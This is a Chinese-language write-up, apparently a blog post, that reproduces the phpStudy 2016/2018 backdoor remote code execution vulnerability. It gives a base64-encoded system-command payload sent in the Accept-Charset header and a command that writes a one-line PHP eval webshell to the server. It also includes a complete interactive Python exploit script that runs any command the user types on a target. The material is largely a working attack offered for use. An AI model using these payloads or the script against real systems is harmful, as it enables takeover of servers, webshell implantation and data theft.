漏洞描述
PHPStudyRCE(Remote Code Execution),也称为phpstudy_backdoor漏洞,是指PHPStudy软件中存在的一个远程代码执行漏洞。
漏洞影响范围
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。 其中2016、2018版本的phpstudy存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以直接远程执行系统命令。
漏洞的具体影响取决于攻击者如何利用该漏洞。通过利用该漏洞,攻击者可以执行任意的PHP代码,从而完全控制受影响的系统。攻击者可以执行恶意代码、访问和修改敏感数据、植入后门等。
需要注意的是,该漏洞只影响使用了特定版本的PHPStudy软件的系统,具体来说是2018年1月至2019年5月发布的版本。在2019年5月发布的修复版本中,该漏洞被开发者修复。
说明 | 内容 |
---|---|
漏洞编号 | phpstudy-2016,2018-RCE |
漏洞名称 | RCE(Remote Command|Code Execute) |
漏洞评级 | 高危 |
影响范围 | phpStudy 2016-----phpStudy 2018 |
漏洞描述 | 攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。 |
漏洞环境
链接:https://pan.baidu.com/s/1_kieJmU7Azq-lMKIp9VmaA
提取码:2hf6
漏洞复现
具体的版本,和服务器平台就不列出了,大家参考phpinfo的信息
使用burp抓包,然后重发报文
漏洞利用
触发条件
Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate
tips:这里注意空格
使用burp编码器构造一条系统执行命令,并且使用base64编码
得到
c3lzdGVtKCdpcGNvbmZpZycpOw==
修改数据包后,重放,右边源码发现已经执行ipconfig了
漏洞利用
这段代码的作用是将<?php@eval($_POST[cmd]);
字符串写入到"C:/phpStudy/WWW/shell.php"文件中。这段PHP代码会执行$_POST[cmd]
变量中的命令,并将结果进行执行。这是常用来写webshell的一句话,请注意使用这样的代码是非常危险的,因为它允许任意的命令执行和操纵服务器文件系统。这种代码容易被滥用,例如用于执行恶意命令、破坏或窃取数据。
system(' echo ^<?php@eval($_POST[cmd]); ?^>>"C:/phpStudy/WWW/shell.php ');
POC
POC是"Proof of Concept"的缩写。在计算机安全领域中,POC通常指的是攻击者或安全研究人员为了验证某个漏洞的存在、利用效果或攻击方法而实现的一个具体演示或证明代码。
接下来为大家展示一下,为了更好的体验效果,我在powershell中演示
当我运行此rce脚本时,显示下方的界面,并提示该工具的用法。
当我添加网站后,运行脚本,就会提示输入想要执行的命令,然后回车,就可以执行远程PhpStudy服务器的主机了
下面是源代码
import requests
import base64
import sys
banner = '''
.---. .-. .--. .-. .-. .---. .--. .--.
: .; :: : : .--'.' `. : : : .; :: .--': .--'
: _.': `-. .---. `. `. `. .'.-..-. .-' :.-..-. : .': : : `;
: : : .. :: .; ` _`, : : : : :; :' .; :: :; : : :.`.: :__ : :__
:_; :_;:_;: ._.'`.__.' :_; `.__.'`.__.'`._. ; :_;:_;`.__.'`.__.'
: : .-. :
:_; `._.'
python *.py http://192.168.21.155/phpinfo.php
'''
if len(sys.argv) < 2:
print(banner)
exit()
url = sys.argv[1]
def attack(cmd):
cmd = f"system('{cmd}');"
cmd = base64.b64encode(cmd.encode())
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept-Charset" : cmd,
"Accept-Encoding" : "gzip,deflate"
}
res = requests.get(url = url,headers = headers)
rs = res.content.decode("gb2312")
result = rs[0:rs.find("DOCTYPE html")]
return result
if __name__ == '__main__':
cmd = input("请输入想要执行的系统命令:")
if cmd == 'q':
print("感谢使用!!!")
else:
print(attack(cmd))